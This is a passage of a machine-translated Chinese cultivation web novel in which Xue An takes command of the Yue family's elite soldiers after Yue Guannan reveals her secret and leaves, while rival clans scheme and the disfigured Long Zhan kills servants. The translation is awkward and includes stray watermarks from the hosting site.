    "Yeah, it''s very uncomfortable, it''s as if you were watching certain things in your memories keep happening in your mind, but you can''t interrupt them at all!" Yue Guannan whispered softly, his voice calm, no With the slightest tremor.


    But it is this kind of extreme peace that gives people a suffocating sadness.


    Xue An didn''t speak because he knew that at this time, all he needed to do was to listen.


    "I hate time, and I hate that incomparably, because it is the most ruthless and cruel thing in the world!"


    "It keeps pushing us forward. Even if you lose something important in the process, it can''t make it look back at all. You kneel down and pray for it, hoping to return to sometime, but it only Will laugh at your cowardice and helplessness with cold eyes!"


    "He is a complete bastard, because what he likes the most is to look at you incapable of doing anything about what happened in the past and snarling like crazy, desperate for life!"


    Even when narrating these long periods of sorrow, Yue Guannan''s tone was still a kind of extreme calm.


    In this whispering tone, he used beautiful metaphors and rhymes to narrate hatred for something that didn''t exist at all.


    Xue An still did not speak, not even a trace of sympathy.


    "Do you know? I used to want to forget everything that made me mad, but I can''t do it. Every effort and attempt will only make the wound deeper. I am like a falling into a thorny tree. Like a beast in a thorn trap!"


    "Any struggle will only bring deeper damage, so I can only lie there quietly and let time run over me mercilessly. That feels really bad, do you understand?"


    After saying this long paragraph almost hysterically, Yue Guannan looked at Xue An, his eyes still cold.


    But the howling mountain wind gradually stopped, giving people an extremely depressed silence.


    Xue An didn''t answer Yue Guannan''s words directly. He just stepped forward silently, then looked at the distant scenery and said lightly.


    "When I was young, I thought about one thing more than once!"


    "Why should I be so lonely, why do people have beautiful new clothes and love his family, but I have nothing?"


    Yue Guannan''s eyes gradually softened.


    Xue An continued: "At that time I was very timid and timid, and even subconsciously avoided anyone, including some smiling faces that seemed to express kindness to me, I would avoid them!"


    "Because I don''t think I am worthy! Do you understand that feeling? I am not worthy!"


    Yue Guannan''s eyes gradually lit up and listened quietly. UU reading www.uuk��nshu.c��m


    Unlike Yue Guannan''s extremely calm tone, Xue An''s tone was extremely indifferent, as if he was narrating something that had nothing to do with him.


    "Because since childhood, all the good things I have seen have happened to others, I can only hide in the corner, envious, jealous, and sad!"


    Xue An turned his head to look at Xiang Yue Guannan, and said with a light smile: "Is it very humble feeling?"


    Yue Guannan nodded.


    "But I did think so at the time. I would even follow my classmates back home stupidly, just to hear what their parents call them when they go home, and then silently answer in my heart!"


    "That is the only comfort I can get in the long night!"


    "If nothing happens, my whole life may be shrouded in the shadow of childhood, and then die alone! Until later, I met someone and something happened, and then I understood!"


    "The nature of this world is loneliness. You hate time and the past, but you have to shake hands with it after all!"


    "Because if you want to let yourself go, you must forgive yourself, just like forgiving an ambitious child and letting go of an unspeakable secret!"


    "The fairy road is long, mortals will suffer, but you and me... actually the same!"


    "Right?"


    Xue An turned his head and stared at Yue Guannan quietly, and then said something that shocked the entire Yue family.


    "Yue Guannan...Miss Yue!"


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on Xinfiction.com. There are no advertisements in the site. Please collect and recommend new ones!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the fastest new update speed.

 Chapter 2278： Let go

    Yue Guannan stared at Xue An deeply, "So you already knew it!"


    "It''s not very early, but I have vaguely guessed it since you said the first sentence!"


    Yue Guannan turned his head to look at the scenery outside the mountain, and said lightly: "Aren''t you afraid that I will kill you when you say this?"


    Xue An smiled, but did not speak.


    "Don''t think I''m frightening you. Everyone knows that I am the Yue Family God of War, but no one knows my true identity. Now that I am seen through by you, are you not scared at all?" Yue Guannan asked.


    Xue An shook his head, "If I''m afraid, I won''t step into this forbidden area!"


    As he said, Xue An looked at Yue Guannan, "And I really want to know what makes you so sad and even imprisoned yourself."


    "Do you really want to know?"


    "Ok!"


    Yue Guannan was silent, and it took a long time to let out a sigh, "Actually...I am Yue Shifang''s younger sister!"


    As soon as this remark came out, Xue An''s heart was stunned, and a look of astonishment appeared on his face.


    "Are you surprised, thinking this is absolutely impossible? After all, no one in the world knows that Yue Shifang''s sister is Yue Qinghuan!"


    When saying this, a self-deprecating smile appeared in Yue Guannan''s eyes.


    But Xue An felt a deep sadness from it.


    "It''s not surprising, but if you want to say it, I would like to know what is going on!"


    Yue Guannan raised his head, the mask made of fine gold gleamed with icy luster, and her eyes were as calm as stagnant water.


    "Two thousand years ago, when he made a mistake during the reincarnation of a soldier, the heaven, material and earth treasures used for reincarnation were destroyed. It was too late to search for it temporarily. In desperation, he had to borrow my mother''s belly to carry out a rebirth!


    "It just so happened that my mother was pregnant at the time, which is me! So we stayed in the same belly for several months."


    "After he was born, due to personal limitations, he could only experience a long growth again, and I became his justifiable sister!"


    "What a happy time..." Yue Guannan whispered softly, and a soft luster appeared in his eyes.


    Xue listened quietly.


    "I have been particularly attached to him since I was a child, and even though he has experienced thousands of years, he can still play with the immensely naive me at the time, and take good care of me! If this continues, we will become everyone''s Envy brothers and sisters! But I can''t do it..."


    Yue Guannan lowered his head, "Really can''t do it! Do you understand?"


    Xue An sighed softly, "Can''t you be just a brother and sister?"


    As soon as this statement came out, Yue Guannan''s whole body was shocked, and Huo Ran turned his head to look at Xue An, and a bit of chill appeared in his eyes.


    "Don''t look at me that way, because it''s easy to guess!"


    Yingying tears gradually appeared in Yue Guannan''s eyes, and then he lowered his head again and said in a trembling voice: "Yes, I really can''t, because I like someone who I absolutely shouldn''t like!"


    At the same time, in the flower hall of the Yue family headquarters, the second girl had already left, and only Yue Shifang was sitting in the flower hall alone.


    Maybe it was the words of the second girl that touched him. After a long silence, Yue Shifang in the wheelchair took out a small jade pendant from his arms.


    This jade has a mottled texture and rough carving, which is not a masterpiece.


    But Yue Shifang still rubbed this jade pendant very cherished, and a touch of depression and sigh appeared in his eyes.


    "Guannan, after so many years, can you still not let go? I hope this young man can take you out of your heart knot!"


    Following the voice, a warm breeze struck, moving the hair in front of Yue Shifang, and in a daze, Yue Shifang seemed to see the girl who wore a white dress and was always behind him.


    And on this training ground, after saying this, Yue Guannan raised his head and looked at Xue An, his eyes full of sadness.


    "Am I a very cheap woman? Because I actually like my brother!"


    Xue An was silent for a moment, then solemnly shook his head.


    "No! On the contrary, you did nothing wrong!"


    Obviously Xue An''s answer was far beyond Yue Guannan''s expectations, making her look at Xue An in amazement.


    Xue An went on to say: "As a guy who has experienced thousands of years, the charm that accumulates in him is hard to stop by ordinary people. What''s more, you were still inexperienced at the time, so it is normal for you to like him. "


    "Secondly, although you and him are the same compatriots, but he came in from behind and has no blood relationship with you. In this way, this kind of relationship is not taboo, so why are you guilty?"


    When Xue An finished speaking, Yue Guannan''s eyes were fascinated.


    Because for so many years, no one has ever said this to her.


    In fact, all the people who knew her true identity were all dead. She could only stand here alone, overlooking the mountains, day after day.


    Until Xue An''s words, it was like opening a door to her, and her heart that had been completely imprisoned felt an unprecedented coolness.


    "Yes...Even though we are a female compatriot, we don''t have any blood relationship. I''m so stupid... I didn''t expect this before!"


    Yue Guannan murmured like crying and smiling, then raised his head and said to Xue An very seriously: "Thank you!"


    "No thanks, you were just trapped in the game before, so you didn''t see these!" Xue An said lightly.


    In fact, Xue An was very sympathetic to this lonely girl.


    For so many years, these secrets have been accumulated in her heart, but no one can tell. As a result, she has become more and more irritable and less and less knowing how to express.


    Even if someone wants to get close to her, she will be killed on the spot as someone who is seriously insecure.


    Can persist in this kind of loneliness for more than a thousand years without going crazy, UU Reading www. Uukanshu.com is already a miracle in itself.


    So Xue An had only sympathy for this girl, and never even regarded her as a **** of war.


    Yue Guannan''s eyes gradually became agile, and then the whole mountain began to become lively.


    First, countless brilliant flowers bloomed in the mountains, and then insects, ants and butterflies emerged one after another, making the place full of vitality.


    "You are here, you should want to surrender the elite soldiers outside!" Yue Guannan asked suddenly.


    Xue An nodded, "Yeah!"


    "Well, if you take this mask out, these elite soldiers will naturally bow their heads to you, and dare not make any trouble!"


    With that, Yue Guannan took off the fine gold mask on his face, revealing a clear and refined face.


    It''s just that because of the long absence of sunlight, this face looks extremely pale.


    Xue An was taken aback, and then asked: "Are you...are not going to see him?"

 Chapter 2279： Willing to bet

    Yue Guannan smiled, then shook his head, "My heart knot has been untied, so why bother to see him again?"


    "But you are not..."


    "For more than a thousand years of perseverance, I can already be worthy of his protection of me back then. As for feelings... let it go with the wind, because it is impossible for him to like me!"


    Speaking of this, Yue Guannan turned his head to look at the sky outside, and said lightly: "Now that you have been appointed by him as the commander in charge, it''s time for me to leave here and take a walk outside!"


    Xue An wanted to persuade something, but his mouth moved, but in the end he didn''t say anything, just sighed faintly.


    This may already be the best ending!


    At this moment, but seeing that Yue Guannan burst into a bright smile, he said to Xue An, "But I have to tell you one thing before I leave!"


    "what''s up?"


    "Don''t you think about Yue Qinghuan''s identity?"


    Xue An was startled.


    To be honest, he did think about it, because according to what Yue Shifang said, when he reincarnated from soldiers, he would usually devote himself to the treasures of heaven and earth.


    Then the question is, what is going on with Yue Qinghuan?


    As if seeing Xue An''s doubts, Yue Guannan chuckled, with a sly look on his face.


    "You never thought that her purple eyes and keen awareness of the good and evil of the human heart make her a bit unlike...Human?"


    As soon as this remark came out, Xue An''s heart was shaken, and he blurted out, "You mean she is not a human?"


    "Nor can it be said that when Yue Shifang''s soldiers reincarnate, they used a huge boulder obtained from an unknowable far away."


    "This boulder is crystal-clear and exudes extremely powerful aura. At that time, people thought it was a naturally-occurring spiritual stone, and it was suitable for the reincarnation of Yue Shifang soldiers, but they never expected to be successful when Yue Shifang soldiers were reincarnated. Later, he was not the only one who was born, but also a baby girl who was carved out of jade!"


    "As for whether this baby girl was naturally conceived in the spirit stone or for other reasons, it is unclear, but this baby girl is indeed a human race who is a fake, except for... those purple eyes and the horror to the human heart. Out of insight!"


    Xue An was lost in thought.


    The spirit stone obtained from an unknowable place at a very far distance...a baby girl who has been solved by soldiers....


    How do these things reveal this weirdness?


    When Xue An was puzzled, Yue Guannan smiled, "I have nothing to say to you, just to solve the doubts in your heart, after all, Qinghuan is a good girl, don''t let her down! "


    After that, without waiting for Xue An to explain, Yue Guannan turned around and stepped on it.


    boom!


    The mountain at the foot was stepped on a huge crack, and Yue Guannan took advantage of this force to soar into the sky, turning into a golden light, and disappearing in the blink of an eye.


    Xue An looked at her away back, gave a wry smile, then turned and left with the fine gold mask.


    At this moment, in the training ground outside the forbidden area, Yue Qinghuan was waiting anxiously.


    Because Xue An had not heard from her for more than a day, how could this not make her extremely anxious.


    Although Yue Guannan shouldn''t be so cruel, he would kill Xue An.


    But Yue Qinghuan''s heart still mentioned his throat, and a pair of eyes were about to see through.


    Compared to her restlessness, this group of Yue Family elite soldiers is much more indifferent.


    At this moment, all the elite squads gathered here, and then watched the forbidden ground whispering.


    "Haha, it''s true that a newborn calf is not afraid of tigers, so the mere cultivation base of Xianzun dares to find Lord Ares, and wants to surrender him. It''s really a big surprise in the world!" The speaker was also a small team leader.


    In fact, the entire Yue Family''s elite soldiers had dozens of teams, and at first Xue An encountered only one of them.


    "If you want me to say that this kid is probably finished, Guannan Master is not so good-tempered. If you provoke him, he doesn''t care who you are!" Another team leader said.


    Everyone agrees.


    At the same time, some people laughed and said: "I really don''t understand. You are also an elite of Guannan Master. How could you get slapped in the face by a mere immortal?"


    The squad leader I met at the beginning blushed when he heard the words, and lowered his head in a serene manner, not knowing what to say.


    "Okay, he holds the soldier seal in his hand. If he really wants to attack, none of us can resist!" Someone relieved him.


    "I have been in for more than a day, and it is estimated that the people are already cold. We koi don''t need to waste time here anymore! Let''s go away separately! I have something to do when I go back." Someone suggested.


    Everyone nodded one after another, and was about to disperse.


    But at this moment, the entire training ground and even the entire planet began to tremble wildly.


    "what happened?"


    Everyone changed in disguise.


    It was at this moment, but in the depths of the forbidden area, a golden light shot up into the sky, directly piercing the firmament, and disappeared.


    "That breath...It''s Master Guannan!" someone exclaimed in exclamation.


    "What''s the matter? Why did Master Guannan leave suddenly?"


    "Yeah! What the **** is going on?"


    Just as the audience was in an uproar, suddenly a sharp-eyed person raised his hand and pointed to the depths of the forbidden ground, and said in a trembling voice: "Look at him, he is out!"


    Everyone looked up.


    really.


    But seeing Xue An came from the depths of the forbidden ground like a stroll in a leisurely court.


    Everyone''s face changed.


    Yue Qinghuan was overjoyed and greeted him immediately.


    "I knew you would be fine... this is..."


    When he rushed to the front and back, Yue Qinghuan saw the fine gold mask that Xue An was holding at a glance, and couldn''t help but froze in place.


    Xue An smiled faintly, "Fortunately not insulting my life!"


    With that said, Xue An walked up to the group of dull soldiers, dropped the mask in his hands into the dust, and said lightly: "You...recognizable thing?"


    nonsense!


    Who can appear here does not recognize this mask!


    But the key is how did it appear in Xue An''s hands?


    Could it be... he really surrendered Lord Guannan?


    This thought made all these elite soldiers pale. UU reading


    And Xue An''s gaze swept across each of them, and finally stayed on the team leader at the beginning, with a smile but a smile.


    "I have done what you asked me to do, and Yue Guannan has given up and left, so...I will be your master from now on!"


    These words were really shocking, and the hairs of this group of elite soldiers stood up.


    "No! This is impossible! How could Master Guannan lose to you!"


    "Yes, this is absolutely impossible!"


    There was a clamor from the crowd.


    But before the voice was over, Xue An snorted slightly, "What? Do you want to fall back on the bill?"


    As soon as this remark came out, the violent power instantly enveloped the audience, knocking everyone to the ground.

 Chapter 2280： Life and death are my life, my honor and disgrace are my

    Under this incomparably majestic power, even no matter how powerful the elite soldiers are, they have to bow their heads obediently.


    There was that unruly person who wanted to forcibly resist this power, but without exception, they all failed.


    And this also made them feel deep fear.


    You must know that even if Xue An holds the weapon talisman in his hand, it is impossible to have such a powerful force that even makes everyone unable to lift their heads!


    But they didn''t know, the moment Yue Guannan handed him the fine gold mask.


    Originally there was a trace of imperfections in the commanding force, which was completely supplemented, and there was no regret at all.


    Therefore, what Xue An possessed at this moment was the perfect and unimpeded commanding power, which was naturally extremely powerful.


    At this time, Xue An said slowly: "Since then, I have been the Lord of Your Class. Life and death are mine, and honor and disgrace are mine. You...can you be convinced?


    With this questioning, Xue An stood proudly, his icy eyes swept across these elite soldiers.


    And the power of commanding soldiers on his body is even more solemn to the point of being almost substantive.


    Under this double coercion, the psychological defense of these elite soldiers began to collapse. I don''t know who took the lead. Someone finally knelt to the ground completely.


    "I...I do!"


    After someone took the lead, the elite soldiers present finally began to admit defeat on a large scale.


    After all, they should have obeyed Xue An, who holds the Great Seal of the Soldier in his hand.


    It was just because of dissatisfaction and thinking that Yue Guannan was behind him.


    And now Yue Guannan left and gave the mask to the white-clothed boy.


    This is equivalent to acknowledging his status and majesty.


    In this case, it is not a shame to bow to Xue An and admit defeat.


    But there are always some thorns who can''t figure it out.


    For example, the squad leader who mocked Xue An in every possible way before, at this moment, is forcibly supporting him not to kneel to the ground.


    He thought very clearly.


    Although the current general trend of the soldiers returning to their hearts is irreversible, as the team leader, Xue An needs to rely on himself no matter what he wants to do, otherwise he is doomed to do nothing.


    Under this kind of thinking, he was almost confident, even though he was crushed to his knees, he still refused to give in.


    Because he wanted to wait for Xue An to help him up personally.


    In this way, his own face is gained, and Xue An can also be in charge of this elite soldier, which is a good step for both parties.


    In fact, there are many people who share the same idea with him.


    These people all insisted on not giving in.


    Because they want to wait for Xue An to take the initiative to show their favor.


    In fact, this kind of thing is very common among military strategists.


    As the coach, if he wants to control a good soldier, he must rely on lower-level officers.


    It is impossible for the coach to personally order the soldiers at the bottom!


    In this case, the military commander and the lower-level officers often form a tacit understanding.


    Like now.


    Anyone who has a bit of military knowledge will definitely take the initiative to support these team leaders, and give them a lot of sympathy and encouragement.


    The purpose is to tell the other party their sincerity, so that the two parties can continue to cooperate.


    But this time, the wishful thinking of these small captains all fell through.


    Because they were facing Xue An, who had no military background at all, and played the cards completely unreasonably.


    When he looked at the many small captains who were unwilling to give in, the corners of his mouth gradually rose, and a cold and playful smile emerged.


    "Why? Is this not going to give in? Or do you still want to give me a blow?" Xue An said indifferently.


    As soon as these words came out, these team captains trembled, and inexplicable doubts arose in their hearts.


    Is this guy really ignorant or pretending to be stupid?


    But in any case, the situation has become like this now, and it is no longer possible to hide it.


    Therefore, among them, the courageous team leader raised his head and looked at Xue An.


    "Master, we dare not tentatively tempt you anymore!"


    "Oh? What do you mean now?" Xue An said coldly.


    "Ahem, we just want to know if you will still be the team leader after you take charge of the elite soldiers?"


    "Yes! After all, we have been doing it for a long time, and the brothers below have also obeyed us, if we don''t rely on us..."


    Although the latter words were not said, the meaning was already clear.


    If you dare not choose us, then we will give you a choice.


    This is already secretly threatening Xue An.


    If you change to another person, you may have already subdued at this time.


    After all, these people are right.


    But Xue An just didn''t take this set.


    I saw him sneer, "What? Use this to threaten me? Well, don''t you want an explanation? I''ll give it to you now!"


    As he said, Xue An casually pointed to the elite soldier kneeling beside a small captain.


    "what''s your name?"


    This elite soldier trembled all over, then kowtowed his head in the tunnel: "Return to the soldier, the villain''s name is Yue Yangping!"


    "Oh? Your surname is Yue?"


    "I and other elite soldiers are basically from the Yue family, even if there are outsiders, they will be given the surname Yue!" Yue Yangping explained.


    Xue An was stunned.


    If on the battlefield, what kind of relationship bond is the most indestructible, it is the fetters from blood.


    And the Yue Family''s move was obviously to unite these elite soldiers so that they could exert their greatest combat power.


    Xue An nodded and suddenly said: "Then Yue Yangping, would you like to replace the person next to you as the team leader?"


    This sentence made Yue Yangping dumbfounded.


    Not only him, but the captain who had secretly calculated that Xue Anhui was a reaction, was even more dumbfounded.


    what happened?


    Is this to openly let others take their place?


    A joke, how can he do it if he has been operating for many years! This Yue Yangping probably wouldn''t dare to promise him!


    The captain thought to himself.


    But at this moment, a word from Yue Yangping''s mouth completely defeated him.


    Seeing Yue Yangping lowered his head, UU read and said in a deep voice: "The villain is willing!"


    "Uh..." There was a gurgling sound from deep in the captain''s throat.


    Because he never dreamed that Yue Yangping would really dare to respond.


    At this time, Yue Yangping turned his head and glanced at him, and said in a deep voice: "Sir Captain, please don''t blame me. After all, you openly disobeyed the command of the Lord Commander. This is a serious crime in itself, plus you have done it for so many years , It��s time to change the position of captain!"


    The face of the team leader instantly changed from white to red, then from red to purple, and finally became like a piece of black charcoal, extremely ugly.


    When Xue An saw this, he couldn''t help but chuckle. This Yue Yangping was a smart man, and these few words were very decent.


    Therefore, he said lightly: "If this is the case, then Yue Yangping, are you confident that you will be in charge of your subordinates in the days to come?"


    Yue Yangping solemnly kowtowed, "If you can''t do it, adults can take away the head of the villain!"


    "Okay! Then you will be the captain from now on!"

 Chapter 2281： Training begins

    Xue An, who holds the full version of the master seal, speaks with supreme majesty.


    With an order, the aura of Yue Yangping and the team leader next to him quickly completed the transition.


    The armor on Yue Yangping''s body became extraordinarily clear, and the aura of this former team leader became sluggish, and the armor on his body became even more bleak.


    This scene was reflected in everyone''s eyes, making the eyelids of the small captains who had Xiao Jiujiu in their hearts and tried to make Xue An bow their heads beating frantically.


    After all, they didn''t expect that Xue An would be so resolute and decisive, and in just a few words, they deprived a team leader of all the powers and gave it to others.


    This move can be said to hit the weakness of these people.


    After all, what they rely on is nothing more than this little power in their hands, and now Xue An tells them with iron facts.


    Who gave them their rights!


    At this time, these small captains who were still thinking of gaining some benefits all regretted it.


    But this is just the beginning.


    But seeing Xue An looking at these elite soldiers, his tone was indifferent and said: "Do you know? Although you are regarded as elite by the Yue family, in my eyes, you are **** among rubbish!"


    These words were so unceremonious that the faces of these elite soldiers who had always been above the top were all angry.


    Because what they are most proud of is this elite label on themselves.


    Now it was torn off by Xue An ruthlessly.


    How can this not make them furious.


    "Do you feel very angry, thinking that I was ranting?" Xue An sneered, and then continued.


    "Yes, each of you is not weak, and you have been honed in this training ground for years of ambush and other techniques, but is that useful? It just makes you stronger from **** in the trash. That''s all the rubbish!"


    Puffed, Yue Qinghuan was amused by Xue An''s metaphor.


    But immediately she felt that something was wrong, and quickly reduced her smile, listening with a serious face.


    "I know you are not convinced, and think you are not that bad! But do you know what the real elite is in my eyes?"


    Xue settled for a while, looked around the audience, and saw everyone listening attentively, and then slowly said: "The real elite, the king of soldiers, must be able to be as fast as the wind, as fast as the forest, invading like fire, Not moving like a mountain!"


    "Just ask these, which one of you did it?"


    There was deathly silence, only Xue An''s voice echoed over the empty training ground.


    Yue Qinghuan looked at Xue An, who stood proudly in front of everyone in the white robe, and his pair of lavender eyes gradually brightened.


    "It is as swift as the wind, it is like a forest, it invades like fire, and it is not moving like a mountain..."


    These words were whispered in her mouth, and she was a little silly before she knew it.


    And these elite soldiers present even more contemplatively, and then lowered their heads in shame.


    That''s right!


    Their strength is really good, but none of them can do what Xue An said.


    Xue An sneered, "Is there nothing to say?"


    Everyone was speechless.


    "Actually, I know your thoughts very well. You think that your own strength is strong enough. As long as you have a good training in the art of combat formation, it is enough! The discipline and obedience are reserved for mortal soldiers, but what I want to say is, A soldier is a soldier. Since it is a soldier, you must unconditionally obey the order!"


    "So from now on, the positions of your squad leaders will not be fixed. As long as he is capable and willing, everyone can replace you. Do you understand?"


    These elite soldiers looked at each other, and finally shouted sparsely: "Understood!"


    "I can not hear!"


    Xue An yelled abruptly, so loud that the eardrums of these soldiers were humming.


    Then they finally understood, and shouted in unison: "Understood!"


    "Very well, since I understand, from now on, each of you will give me ten laps around the entire training ground!"


    This training ground occupies as much as half a planet. If you run around this training ground ten times, even these powerful soldiers will take at least one day!


    The point is that this method seems to have no effect at all in the eyes of many soldiers, so they all stood in place with some hesitation.


    Xue An didn''t urge either, just sneered and stretched out a finger, "It''s twenty laps now!"


    Everyone: "..."


    "Thirty laps!"


    I don''t know who roared first, and then rushed out first.


    The remaining soldiers shuddered in Lingling, because they had no doubt that if they dared to continue to stand still, the white-clothed boy would keep adding to it.


    Think about it, what would it be if you were asked to run a hundred times around a planet?


    That would kill people!


    Under this kind of fear, these soldiers rushed out in a swarm and began to dash around the training ground.


    Yue Qinghuan stepped forward with a look of admiration, "Xue An, you are really amazing! You must know that these soldiers have not been so obedient for a long time!"


    Xue An smiled slightly, "Uncle Bing? In my hands, even the ancestor of Bing has to be obedient to me!"


    Yue Qinghuan blushed and turned his head to the side not daring to see Xue An''s smile now.


    Because she found that Xue An''s confident look is so handsome!


    "Ahem, I..."


    She was just trying to find some topics when Xue An suddenly yelled.


    "The soldier in the seventh row, if you dare to secretly help you run with a magic weapon, I will let you run until this time next year, believe it or not?"


    The roar spread directly throughout the training ground. The soldier trembled all over, and the jade decision on his waist was immediately shattered under the guidance of the soldiers.


    Then Xue An said coldly: "Remember, no one is allowed to use magic skills and any external forces. You can only use your stupid pig bodies to complete these roads the whole process. Will keep watching, if there is a violator..."


    I didn''t finish the rest of the words, but the threatening meaning of that coldness has made everyone''s hair stand on end.


    In a short time, some people who had made small calculations immediately dispelled the idea of ??wanting to be lazy.


    This guy has been staring at him, if he catches him, it will be over!


    Therefore, these people can only use their legs to measure the land obediently.


    As a result, a strange scene appeared on this huge training ground. The soldiers who used to gather in twos and threes to chat and joke, all of them were flying obediently on the ground at this moment.


    And Xue An calmly stood in the sky overlooking this scene.


    That scene really seemed like a sheep herding.


    At the same time, in the flower hall of the Yue family headquarters, Yue Shifang sighed indefinitely.


    "Whether you are gone, it''s really hard for you for so many years!"

 Chapter 2282： Reactions from all sides

    At this moment, the two girls rushed in violently, and when they saw Yue Shifang, they split their heads and covered their faces.


    "Yue Guannan is gone, do you know?"


    Yue Shifang nodded, "I know!"


    "Sure enough!" The second girl calmed her mind, then sat opposite Yue Shifang, and said with some doubts: "Why would he leave?"


    Yue Shifang smiled, "Maybe it was the little guy who moved me!"


    "You said Xue An? How could it be possible, with his cultivation base and realm, how could it be possible to tell Yue Guannan? There must be other reasons for this!" The second girl still couldn''t believe it.


    "No matter what the reason is, he has indeed gone now." Yue Shifang said lightly.


    "Yeah, no matter what, he really has already left." The second girl said in a daze.


    Originally, she had always regarded Yue Guannan as a great enemy, because his various disrespect to Yue Shifang in the past showed his ambition.


    But never expected that before the second girl was ready, Yue Guannan took the initiative to leave.


    This naturally made her a little shocked and unspeakable.


    "What are the soldiers doing now?" Yue Shifang didn''t persuade him, but asked casually.


    Speaking of this, the second girl had a ghostly expression on her face.


    "The news I just received, those soldiers are now running under Xue An''s supervision!"


    "Run?" Yue Shifang was also taken aback.


    "Yes, it''s running, and it''s a purely physical running without using any magic techniques!"


    Speaking of this, the two girls themselves were a little unbelievable, but the facts were in front of them, and she couldn''t help but not believe them.


    Yue Shifang was also a little surprised at first, but soon he chuckled and leaned back on the chair.


    "This Xue An... really gave me so many surprises!"


    At the same time, this news spread quickly throughout the Yue family.


    Yue Junze''s father, Yue Hechang, frowned slightly at the moment, thinking about it.


    However, Yue Junze walked around the room with a look of excitement, muttering as he walked.


    "It''s amazing. As soon as he took office, he subdued those soldiers with high eyes, and he really deserves to be the man the Third Sister looks after!"


    Suddenly, he stopped and turned to look at Yue Hechang.


    "Father, it''s okay for me to stay at home anyway, or let me go to the training ground too!"


    "Huh?" Yue Hechang woke up from his contemplation, "Are you going to the military training ground?"


    "Yeah! It''s too boring to stay at home, just to learn something from the third sister and the third sister-in-law!" Yue Junze said enthusiastically.


    Yue Hechang groaned for a moment, and finally nodded, "Well, since you are willing to go, then you go!"


    "Thank you father!"


    After getting permission, Yue Junze was overjoyed and immediately rushed out.


    Looking at his son''s happily back, Yue Hechang couldn''t help but chuckle, "This kid..."


    Then he seemed to think of something, and frowned again.


    "How could Yue Guannan leave suddenly? This matter is definitely not as simple as it seems!"


    Not only was he puzzled, almost everyone in the Yue family was puzzled.


    You must know that Yue Guannan, as the unborn **** of war from the Yue family, has been guarding the training ground for hundreds of years.


    People are even accustomed to his existence.


    As a result, as soon as Xue An became a soldier on the front foot, he left on the back foot.


    The implications of this are really interesting.


    And even when the Yue family was in doubt about this matter, the news spread among the entire military family at a terrifying speed.


    In the house of Sima, one of the twelfth branch of the military.


    Sima Tiancheng, who had quietly escaped from the welcome dinner, recounted the whole thing with a sinking face.


    Finally, he plucked up the courage to look at his invisible father on the high platform in the distance, that is, Sima Chongchao, the head of the Sima family.


    "Father, I suspect that this person is definitely not an ordinary person, otherwise, how could the Yue family''s God of War leave as soon as he took over as the leader of the army?"


    "Oh? Who do you think he is?" Sima Chongchao said lightly.


    "I suspect that this person should be the descendant of the first few of the ancient hundred schools. It is very likely that Yue Qinghuan invited to prepare in advance for her brother''s military solution!" Sima Tiancheng analyzed.


    The fact that Yue Shifang soldiers reincarnated was no secret among the soldiers.


    And this time Yue Shifang suddenly disappeared from the public for half a year, it is very likely that his injury has deteriorated again.


    Therefore, Sima Tiancheng''s speculation is also reasonable.


    Sima Chongchao snorted coldly when he heard the words, "If the Yue family really dared to borrow the power of a foreign family, then it would be a risk to the world."


    "Who knows! After all, Yue Shifang''s soldiers will be solved soon. As a female stream, it is difficult for Yue Qinghuan to shoulder the heavy responsibility of the entire family. For the Yue family''s survival, they are likely to do this!"


    "If this is the case, then when it comes to performing martial arts, you don''t have to show any affection to the Yue family!"


    Speaking of this, there was a hint of cold killing intent in Sima Chongchao''s tone.


    "The survival of the fittest, if the Yue family really can''t sustain it, then the military family will only have eleven points from now on!"


    "Yes!" Sima Tiancheng bowed back.


    When Sima Chongchao was left alone in the room, he was silent for a moment, and then Jiejie sneered.


    "Yue Shifang, you can be considered a ruthless person after being able to reincarnate for dozens of times, but I don��t believe that you can be so lucky every time. Failure is your death date!"


    Long family.


    There was another sound of smashing things in the room, mixed with hysterical roars.


    It''s like a wounded beast, chilling.


    The guards guarding the door and the maids passing by were all silent for fear that they would be disturbed again.


    After a long time, Long Zhan slowly opened the door and walked out.


    His originally handsome face is now riddled with holes and can''t be seen.


    Not only that, at this moment, his face is covered with thick plasma, making him look like a ghost crawling out of hell, terrifying and terrifying.


    "Clean up the contents!" Long Zhan ordered in a hoarse voice.


    "Yes!" the guard and the maid hurriedly lowered their heads and walked into the room.


    Although they had been mentally prepared, the horror in the room was beyond their imagination. Looking at the pieces of meat that could no longer be called a corpse, a maid leaned down with a pale face, tightly covering her mouth and forced herself to control I am afraid I will vomit again.


    Because she suddenly discovered that there were tooth marks and marks on the corpse, as if a wild beast had bitten it.


    After contacting the appearance of Long Zhan just now, a terrible fact came to mind, which also caused acid water in the stomachs of these people.


    For these, Long Zhan is already used to it.

 Chapter 2283： 1 transaction

    "Remember to change the batch tomorrow, today''s goods...the quality is not very good!"


    After all, he grabbed a maid standing aside.


    The maid was so scared that she almost fainted, but she didn''t even dare to move, just trembling all over.


    Long Zhan seemed to have finished venting. He didn''t attack her again, just tore off her coat, wiped his face like a towel, and then strode away.


    It wasn''t until he was already far away that the maid fell to her knees and started crying quietly.


    There is no other reason, it is that Long Zhan is too scary now.


    All of this must start from the moment he woke up and found that the wound on his face could no longer be healed.


    When he knew this fact, he collapsed.


    Because he has been spoiled since childhood, how could he accept this reality.


    So he started smashing things almost hysterically. He might find that he was not addicted to smashing, and he actually started to kill.


    And it was not a simple killing, but a brutal killing.


    At the beginning, it was one every day, but now it has been several times a day.


    In this case, how can these little maids who are even a little self-protective not be afraid.


    now.


    Long Zhan passed through the Dragon Family headquarters like a ghost, and no matter whether it was a maid or a guard, he dared not show the slightest strangeness.


    Because there have been examples before, the handmaid with weak concentration couldn''t help screaming after seeing Long Zhan''s now terrifying appearance. As a result, the handmaid was tortured by Long Zhan for a day before she died.


    After this incident, no one dared to show the slightest strangeness to him.


    Long Zhan went straight to Mrs. Ewha''s residence and wanted to see his mother.


    Only after arriving here did I find that Mrs. Ewha had never come back.


    At that time, she was taken directly to the training ground of the Long Family by Long Yushu, the owner of the Long Family, in the Yue family, and she has not returned until now.


    Seeing this, Long Zhan had to turn around, but instead of going back to his room, he stepped out.


    No one dared to stop him along the way, so he walked out of the Dragon''s home very smoothly, and then boarded a flying boat.


    When the pilot of the flying boat saw that it was Shao Long, his face paled in shock.


    "Dragon...Where is Young Master Long going?"


    "Beauty''s tears!" Long Zhan said with a deep face.


    The driver didn''t dare to say anything, and he drove the flying boat into the air and went straight to tears of the beauty.


    Long Zhan didn''t say a word all the way, but his eyes shone with gloomy cold light.


